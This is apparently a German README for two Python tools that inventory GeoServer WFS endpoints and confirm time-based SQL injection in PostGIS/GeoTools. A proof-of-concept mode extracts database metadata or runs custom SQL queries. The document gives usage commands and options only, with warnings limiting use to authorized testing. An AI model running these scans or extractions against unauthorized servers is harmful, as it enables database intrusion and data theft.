
Python scripts for inventorying GeoServer WFS endpoints and verifying time-based SQL injection vulnerabilities in PostGIS/GeoTools, with a dedicated PoC mode for authorized testing.
Dieses Repository enthält zwei Python-Skripte für die Untersuchung von GeoServer-WFS-Endpunkten.
wfs_inventory.pyZweck: Layer, XSD-Felder und WFS-Werte inventarisieren sowie Kandidaten optional über eine zeitbasierte Prüfung verifizieren.
Ausführbeispiele:
python3 wfs_inventory.py --url https://HOST --valid-fields 4
python3 wfs_inventory.py --url https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5 --candidate-scope auto --timing-result-type auto
python3 wfs_inventory.py --url https://HOST --layer namespace:layer --sleep 1 --confirm-sleep 5 --valid-diagnose output.txt
geoserver_sqli_working.pyZweck: Kombinierter Einstiegspunkt für die Inventur sowie ein separater PoC-Modus.
Ausführbeispiele:
python3 geoserver_sqli_working.py --target https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5 --query "SELECT current_database()"
Wichtiger Hinweis: Die zeitbasierte Prüfung und der PoC-Modus dürfen nur gegen Systeme verwendet werden, für die eine ausdrückliche Testfreigabe vorliegt. Der normale Inventurmodus verwendet ausschließlich reguläre WFS-Operationen.
Optional ausführbar machen:
chmod +x wfs_inventory.py geoserver_sqli_working.py
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4
Der Standardpfad /geoserver/wfs wird automatisch ergänzt. Folgende Angaben
sind daher gleichwertig:
https://HOST
https://HOST/geoserver
https://HOST/geoserver/wfs
Bei einer abweichenden Installation muss der vollständige WFS-Pfad angegeben werden.
Nur für ausdrücklich autorisierte Systeme:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1
Während der Prüfung erscheint pro Kandidat eine Messung auf stderr:
[sleep-check] phase=screen typeName=namespace:layer field_name=FIELD resultType=hits baseline=0.120s test=1.128s delta=1.008s passed=true
[sleep-check] phase=confirm typeName=namespace:layer field_name=FIELD resultType=hits requested=3s baseline=0.118s test=3.125s delta=3.007s vulnerable=true
Ein bestandener Screen ist noch kein positiver Befund. Nur wenn die zweite, längere Messung ebenfalls besteht, wird ein Parameterblock ausgegeben.
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1 \
--valid-diagnose output.txt
--valid-diagnose FILE aktiviert automatisch die ausführliche Diagnose und
schreibt sie in die angegebene Datei.
Der Standardmodus auto arbeitet die WFS-Informationen in dieser Reihenfolge
ab:
GetCapabilities wird einmal geöffnet:
/geoserver/wfs?service=WFS&acceptVersions=2.0.0&request=GetCapabilities
Die XML-Antwort wird gestreamt. Sobald ein FeatureType/Name gefunden wird,
steht der nächste typeName fest.
Für diesen Layer wird unmittelbar DescribeFeatureType mit
version=2.0.0 ausgeführt.
Das Skript extrahiert die XSD-Elemente und wählt String-/JSON-Felder mit ID- oder Nummern-ähnlichem Namen aus.
Der Kandidat wird abhängig vom Aufruf geprüft:
--sleep: Stichprobenwerte müssen syntaktisch gültiges JSON sein.--sleep N: Eine Kontrollanfrage und eine zeitbasierte Prüfanfrage
werden gemessen. Die JSON-Wertprüfung wird dabei übersprungen.Das Ergebnis wird sofort ausgegeben und geflusht.
Erst danach wird der nächste typeName aus der laufenden
GetCapabilities-Antwort gelesen.
Dadurch muss eine große GetCapabilities-Antwort nicht vollständig verarbeitet
werden, bevor das erste Ergebnis erscheint.
Ohne --sleep berücksichtigt der automatische Modus standardmäßig
String-/JSON-Felder mit ID- oder Nummern-ähnlichem Namen.
Mit --sleep verwendet --candidate-scope auto dagegen alle einfachen
Nicht-Geometriefelder. XSD-Typ und ID-Namensmuster blockieren die Timing-Prüfung
dann nicht mehr. Das verhindert False Negatives bei numerischen,
Datum-/Boolean- oder herstellerspezifischen XSD-Typen.
Erkannte Namensmuster sind unter anderem:
id
*_id
*_fid
nr_*
*_nr
*nummer*
fid
uuid
guid
key
objectid
Bei der zeitbasierten Prüfung muss der Feldname zusätzlich ein einfacher
Bezeichner im Format [A-Za-z_][A-Za-z0-9_]* sein.
Ohne --sleep wird geprüft, ob die beobachteten Werte syntaktisch als JSON
interpretiert werden können. Deshalb gilt beispielsweise auch der String
"383205" als Kandidat, weil sein Inhalt eine gültige JSON-Zahl darstellt.
Diese Prüfung ist eine Heuristik und kein Schwachstellennachweis.
Mit --sleep 1 entscheidet ausschließlich die Zeitmessung. Ein Kandidat gilt
standardmäßig als positiv, wenn die Prüfanfrage gegenüber der Kontrollanfrage
mindestens 70 Prozent der angeforderten Sleep-Zeit zusätzlich benötigt.
--timing-result-type auto prüft zuerst resultType=hits und bei einem
negativen Ergebnis anschließend resultType=results.
Vorläufig positive Messungen werden zwingend mit einer längeren Sleep-Zeit
bestätigt. Ohne explizites --confirm-sleep verwendet das Skript
max(3, --sleep * 3), begrenzt auf 10 Sekunden. Dadurch führt eine einzelne
Latenzspitze bei --sleep 1 nicht mehr zu vulnerable=true.
Die Standardausgabe enthält einen Block pro gültigem Layer:
typeName=namespace:layer
field_name1=FIELD_A
parameter_string1=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_A
field_name2=FIELD_B
parameter_string2=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_B
parameter_stringN enthält den normalisierten WFS-Endpunkt und die passenden
Werte für --typename und --field_name.
--valid-fields N zählt Layer-Blöcke, nicht einzelne Felder. Wenn weniger als
N gültige Layer existieren, wird der restliche Katalog weiter untersucht.
Mit --max-layers lässt sich die maximale Laufzeit begrenzen.
Die Optionen --diagnose oder --valid-diagnose FILE ergänzen unter anderem:
GetCapabilities-URL,DescribeFeatureType-URL,GetFeature-URL undBeispiel:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 10 \
--valid-diagnose diagnose.txt
python3 wfs_inventory.py \
--url https://HOST \
--mode layers
Auf einen Namespace begrenzen:
python3 wfs_inventory.py \
--url https://HOST \
--mode layers \
--namespace fink
python3 wfs_inventory.py \
--url https://HOST \
--mode fields \
--layer namespace:layer
Jedes Feld wird als JSON-Objekt mit Name, XSD-Typ, nillable,
id_candidate und usable_property ausgegeben.
python3 wfs_inventory.py \
--url https://HOST \
--mode values \
--layer namespace:layer \
--field FIELD_A \
--field FIELD_B \
--max-features 100 \
--format jsonl \
--output values.jsonl
Alle Properties exportieren:
python3 wfs_inventory.py \
--url https://HOST \
--mode values \
--layer namespace:layer \
--all-properties \
--max-features 100
Mit --unique werden identische Kombinationen ausgewählter Feldwerte nur
einmal ausgegeben.
wfs_inventory.py| Parameter | Standard | Bedeutung |
|---|---|---|
--url URL | erforderlich | Host, GeoServer-Basis oder vollständiger WFS-Endpunkt |
--mode auto|layers|fields|values | auto | Auszuführender Betriebsmodus |
--layer NAMESPACE:LAYER | – | Auto-Modus auf einen Feature-Type begrenzen; für fields und values erforderlich |
--namespace PREFIX | – | Nur Layer dieses Namespace-Präfixes berücksichtigen |
--capabilities-file FILE | – | Lokale GetCapabilities-Antwort statt eines Downloads verwenden |
--field NAME | wiederholbar | Zu exportierendes Property im values-Modus |
--all-properties | aus | Im values-Modus alle Properties exportieren |
--unique | aus | Doppelte Feldwertkombinationen unterdrücken |
--page-size N | 500 | Features pro GetFeature-Seite; Bereich 1 bis 5000 |
--sample-size N | 5 | Stichprobenwerte pro Layer für die JSON-Syntaxprüfung; Bereich 1 bis 100 |
--sleep SECONDS | 0 | Zeitbasierte Verifikation aktivieren; erlaubt sind 0 oder 1 bis 10 Sekunden |
--candidate-scope auto|id|all | auto | Kandidatenauswahl; auto nutzt ohne Sleep ID-Felder und mit Sleep alle Nicht-Geometriefelder |
--timing-result-type auto|hits|results | auto | Query-Pfad der Timing-Prüfung; auto probiert hits, danach results |
--sleep-threshold RATIO | 0.7 |
geoserver_sqli_working.py kann die Inventurfunktion direkt aufrufen. Sobald
--valid-fields angegeben ist, wird ausschließlich die Inventur ausgeführt und
das Programm danach beendet.
python3 geoserver_sqli_working.py \
--target https://HOST \
--valid-fields 4 \
--sleep 1 \
--valid-diagnose output.txt
Dabei werden intern folgende Parameter an wfs_inventory.py weitergereicht:
--target -> --url
--valid-fields -> --valid-fields
--valid-diagnose -> --valid-diagnose
--sleep -> --sleep
--candidate-scope -> --candidate-scope
--timing-result-type -> --timing-result-type
--sleep-threshold -> --sleep-threshold
--confirm-sleep -> --confirm-sleep
Ohne explizites --sleep bleibt die zeitbasierte Prüfung im Inventurmodus
deaktiviert.
Nur für ausdrücklich autorisierte Testsysteme:
python3 geoserver_sqli_working.py \
--target https://HOST/geoserver/wfs \
--typename namespace:layer \
--field_name FIELD \
--sleep 5
Im PoC-Modus wird der Zielpfad nicht automatisch normalisiert. Hier sollte der vollständige WFS-Endpunkt angegeben werden.
Der Modus führt zunächst einen Baseline-/Sleep-Test aus, testet anschließend
die vorhandenen zeitbasierten Oracle-Varianten und liest bei erfolgreicher
Bestätigung standardmäßig Server-/Datenbankmetadaten aus. Mit --query kann
stattdessen eine eigene skalare Abfrage vorgegeben werden.
Der PoC-Modus deaktiviert derzeit die TLS-Zertifikatsprüfung intern. Für eine reine Inventur sollte bevorzugt
wfs_inventory.pyverwendet werden, da dort TLS standardmäßig geprüft wird.
geoserver_sqli_working.py| Parameter | Standard | Bedeutung |
|---|---|---|
--target URL | erforderlich | Zielhost oder WFS-Endpunkt; im PoC-Modus vollständigen WFS-Pfad verwenden |
--typename NAME | fink_bku:fink_meta_mitte_suedwest | Feature-Type für den PoC-Modus |
--field_name NAME | erforderlich im PoC-Modus | Einfacher XSD-Feldname für jsonArrayContains |
--field-name NAME | Alias | Alias für --field_name |
--valid-fields N | – | Inventurmodus aktivieren und nach N gültigen Layern stoppen |
--valid-diagnose FILE | – | Ausführlichen Inventurbericht in FILE schreiben; benötigt --valid-fields |
--sleep SECONDS | PoC: 5, Inventur: aus | Sleep-Dauer des jeweiligen Modus |
--candidate-scope auto|id|all | auto | Kandidatenauswahl im Inventurmodus |
--timing-result-type auto|hits|results | auto | Timing-Query-Pfad im Inventurmodus |
--sleep-threshold RATIO | 0.7 | Timing-Schwellwert im Inventurmodus |
--confirm-sleep SECONDS | automatisch | Bestätigungs-Sleep im Inventurmodus |
--query SQL | – | Eigene skalare Abfrage im PoC-Modus |
--debug | aus | Bedingungen, Laufzeiten und Entscheidungen im PoC-Modus anzeigen |
Der Auto-Modus kann statt Textblöcken JSON Lines erzeugen:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 10 \
--report-format jsonl \
--output report.jsonl
Mit --diagnose enthält jeder Datensatz zusätzlich URLs, Kandidatenmetadaten,
Prüfwerte und feldspezifische GetFeature-URLs.
Proxy verwenden:
python3 wfs_inventory.py \
--url https://HOST \
--proxy http://127.0.0.1:8080 \
--valid-fields 4
Eigener Proxy-CA vertrauen:
python3 wfs_inventory.py \
--url https://HOST \
--proxy http://127.0.0.1:8080 \
--proxy-ca proxy-ca.pem \
--valid-fields 4
TLS-Prüfung für ein autorisiertes Testsystem deaktivieren:
python3 wfs_inventory.py \
--url https://HOST \
--insecure \
--valid-fields 4
--proxy-ca und --insecure können nicht gemeinsam verwendet werden.
Bei großen GetCapabilities-Antworten helfen folgende Optionen:
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--max-layers 100 \
--sample-size 1 \
--timeout 10 \
--retries 0 \
--delay 0
Hinweise:
GetCapabilities wird nur einmal angefordert und anschließend gestreamt.--valid-fields 4 beendet den Scan erst nach vier gültigen Layern. Existieren
weniger Treffer, läuft die Suche bis zum Ende oder bis --max-layers.--sample-size 1 reduziert den Aufwand der JSON-Heuristik.--timing-result-type auto werden
nach einem negativen hits-Ergebnis zusätzlich zwei results-Anfragen
ausgeführt.--candidate-scope id reduziert die Zahl der Timing-Anfragen, kann aber
verwundbare Felder mit anderen Namen auslassen.--namespace und --start-layer-index können den Suchraum zusätzlich
begrenzen.The read operation timed out--timeout erhöhen, wenn der Server langsam antwortet.--retries 0 setzen, um lange Wiederholungen zu vermeiden.--max-layers und --namespace verwenden.--sample-size 1 verwenden.--sleep müssen Kandidaten abhängig von --candidate-scope die
XSD-/Namensprüfung und die JSON-Syntaxprüfung bestehen.--sleep werden nur zeitlich bestätigte Kandidaten als Parameterblock
ausgegeben; negative Messungen erscheinen als [sleep-check] auf stderr.--max-layers setzen.Cannot do natural order without a primary keyFür die erste GetFeature-Seite sendet das Skript kein startIndex=0, da einige
GeoServer-/JDBC-Layer ohne Primärschlüssel bereits dadurch eine natürliche
Sortierung erzwingen. Beim Export weiterer Seiten kann ein solcher Layer
trotzdem einen Primärschlüssel oder eine serverseitig unterstützte Sortierung
benötigen.
schema does not define ...TypeDas Skript berücksichtigt sowohl den üblichen <LayerName>Type als auch einen
abweichenden, im globalen XSD-Layerelement referenzierten oder anonymen
complexType. Bleibt der Fehler bestehen, sollte die betreffende
DescribeFeatureType-Antwort mit --diagnose geprüft werden.
Die vollständige OWS-Fehlermeldung wird auf stderr ausgegeben. Häufige
Ursachen sind nicht unterstützte Properties, serverseitige Paging-Vorgaben oder
eine layerspezifische Datenquellenkonfiguration.
python3 wfs_inventory.py --help
python3 geoserver_sqli_working.py --help
| Erforderlicher Anteil der Sleep-Zeit; Bereich 0.5 bis 1.0 |
--confirm-sleep SECONDS | 0/automatisch | Bestätigungs-Sleep; 0 verwendet mindestens 3× die erste Sleep-Zeit, Bereich 1 bis 10 |
--start-layer-index N | 0 | Die ersten N gestreamten Layer überspringen |
--max-layers N | 0 | Höchstens N Layer bearbeiten; 0 bedeutet unbegrenzt |
--valid-fields N | 0 | Nach N gültigen Layer-Blöcken stoppen; 0 bedeutet unbegrenzt |
--valid N | Alias | Rückwärtskompatibler Alias für --valid-fields |
--max-features N | 0 | Im values-Modus nach N Features stoppen; 0 bedeutet unbegrenzt |
--format jsonl|csv|text | jsonl | Ausgabeformat im values-Modus |
--output FILE | stdout | Bericht oder Werte in eine Datei schreiben |
--report-format blocks|jsonl | blocks | Format des Auto-Berichts |
--diagnose | aus | URLs, Typen, Auswahlflags und Prüfstatistiken ergänzen |
--valid-diagnose FILE | – | Diagnose aktivieren und direkt in FILE schreiben |
--delay SECONDS | 0.1 | Pause zwischen Ergebnis-/Prüfschritten |
--timeout SECONDS | 30 | Timeout pro HTTP-Anfrage |
--retries N | 2 | Wiederholungen nach Timeout oder Netzwerkfehler; Bereich 0 bis 10 |
--proxy URL | – | HTTP(S)-Proxy, beispielsweise http://127.0.0.1:8080 |
--proxy-ca FILE | – | PEM-CA-Zertifikat zum Vertrauen eines Proxy-Zertifikats |
--insecure | aus | TLS-Zertifikatsprüfung deaktivieren |
--authorization TEXT | I_AM_AUTHORIZED | Sicherheitsbestätigung; muss exakt I_AM_AUTHORIZED sein |